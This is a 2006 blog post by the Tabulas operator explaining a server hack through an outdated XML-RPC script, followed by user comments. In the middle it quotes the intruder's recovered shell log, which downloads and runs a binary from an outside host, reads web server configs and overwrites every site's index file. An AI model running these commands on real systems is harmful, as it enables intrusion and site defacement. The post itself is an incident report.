Here's a collection of events from the server crash (I've been up for a while now, so this will be terse).

Non-technical version:

Someone (not me) left an unpatched piece of software on the server that Tabulas' database is located at. A hacker got in through there messed things up bad. I had to spend last night setting up a new server and moving Tabulas' DB over there. It was partially my fault (this could have been avoided), and I've learned my lesson.

Technical version:

  • Approximately 12 hours ago, the server that the Tabulas database is stored on was hacked. To cut down on costs, I share the server with a mutual acquaintance. He was hosting a friend who was hosting Xoop CMS. Normally this isn't that bad, except the friend had an outdated copy of XML-RPC.php running. This XML-RPC.php had been patched, but apparently my friend's friend didn't take notice.
  • Normally, this isn't bad, as PHP can't execute /var/tmp, but this is also a development server, so /var/tmp *was* set as executable. The hackers installed a bunch of backdoors through the XML-RPC exploit from this site (r0nin and kmod and one more which escapes my memory at the moment). Luckily I was able to track down exactly what they were doing:
    cd /var/tmp
    ls
    wget http://xpl.templarteam.org/kmod
    chmod +x kmod
    ./kmod
    id
    id;uname -a
    locate httpd.conf
    cat /etc/httpd/conf/httpd.conf
    cd /etc/appliance/apacheconf
    cd /apache
    cd /etc/httpd/conf/virtual
    cat *.* > l.txt
    cat sit* > l.txt
    cat l.txt
    cat l.txt | egrep ServerName
    cd /home
    cd virtual
    cat *.* > ll.txt
    cat ll.txt
    cat * > ll.txt
    echo Simiens Crew 2006 > si.txt
    pwd
    find /home/virtual -name "index.*" -exec cp si.txt {} ;
    ls
    perl
  • They basically went through each site and replaced the index.html file. What happened next is a bit fuzzy, but generally the server decided to crap out, completely. So a new order went in last night for a brand spankin' new server (this was on the long-term roadmap, but I decided to move it up since the server was nearly dead already).
  • So I asked my hosting company to set up the old hard drive as a slave on the new hard drive so I coudl transfer files. Except... the old hard drive was an EIDE drive, while the new drives were SATA. And apparently they didn't have extra EIDE controllers lying about.
  • So they installed it through the CD-ROM channel. My mounting skills are sub-par on Linux, so somehow only the boot partition got mounted ...
  • But a little while later, the whole thing was accessible. Then it was just a matter of grabbing the old files, transferring them over to the new server, setting up all the accounts, redirecting all existing *.tabulas sites to use the new database location ...
  • And here I am, exhausted and completely stressed out.

I think I'll sleep now.

I've been meaning to write a really long post on the future of Tabulas, and I think this whole experience'll be a good incentive to do so. Expect a post on that after I wake up from sleeping :)

Currently listening to: Fallout Boy - Dance, Dance
Posted by roy on March 11, 2006 at 05:02 AM in Tabulas | 18 Comments

Related Entries

Linked Entries

These are Tabulas entries which have linked to this particular entry.

Want to comment with Tabulas?. Please login.

Comment posted on March 13th, 2006 at 04:16 AM
Go Sleep you deserve it. Thank you so much!! All of us is really grateful for tabulas. thanks!!

null0 (guest)

Comment posted on March 12th, 2006 at 04:51 PM
Thankyou so much! Appreciate it. :)
Comment posted on March 12th, 2006 at 07:16 AM
THANKFUL!!! kudos darling for fixing it in a jiff... you saved everyone's files... DEEPEST AND SINCEREST GRATITUDE
Comment posted on March 12th, 2006 at 07:05 AM
THANKFUL!!! kudos darling for fixing it in a jiff... you saved everyone's files... DEEPEST AND SINCEREST GRATITUDE

orlandolee (guest)

Comment posted on March 12th, 2006 at 06:26 AM
I'm not sure if this is caused by the service outage but some of the pictures in my blog do not show up. All of my pics are stored in imageshack but some of the pics are still there and some are not.. hope you can take a look. Thanks a bunch. www.tabulas.com/~orlandolee
Comment posted on March 12th, 2006 at 12:50 PM
pictures are all working fine for me
Comment posted on March 11th, 2006 at 09:46 PM
My gratitude. :)
Comment posted on March 11th, 2006 at 09:02 PM
Thank you, Roy, for all the work you do for Tabulas! What would we do without you?

I have a fear that one day you will decided to sell Tabulas and the new owner will not care as much about it as you do.

Okay, 'nighty 'night Roy!
Comment posted on March 11th, 2006 at 07:04 PM
great stuff roy... thanks for working on it so promptly everytime - i don't know what i'd do without tabulas anymore!
Comment posted on March 11th, 2006 at 06:42 PM
that was certainly quick! great job Roy...

frankly, i wouldnt what i'd do without tabulas... somehow i find it easier to use than those other blog hosting sites...

u really deserve a lot of time for sleeping!
Comment posted on March 11th, 2006 at 06:41 PM
You've earned your sleep! Wow. Thanks for your hard work in keeping Tabulas going.
Comment posted on March 11th, 2006 at 06:35 PM
damn them hackers... good job roy!
Comment posted on March 11th, 2006 at 03:52 PM
i really appreciate it! thanks!!
Comment posted on March 11th, 2006 at 12:36 PM
Ugh, I had a site hacked before because of the xml-rpc exploit too.
Comment posted on March 11th, 2006 at 12:03 PM
I promise, with my next paycheck, I'll upgrade to a paid account. I appreciate what you do.
Comment posted on March 11th, 2006 at 11:58 AM
tsk tsk tsk...your friend's friend must be Canadian.
Comment posted on March 11th, 2006 at 11:29 AM
Thanks for the restoration! I have a question though, what happened to the radioblog? It's not working?
Comment posted on March 11th, 2006 at 05:05 AM
Good grief!! We don't pay you enough. Thanks for all your hard work. BTW, I don't even understand 1/4 of what you said, but it sure looks complicated. :-)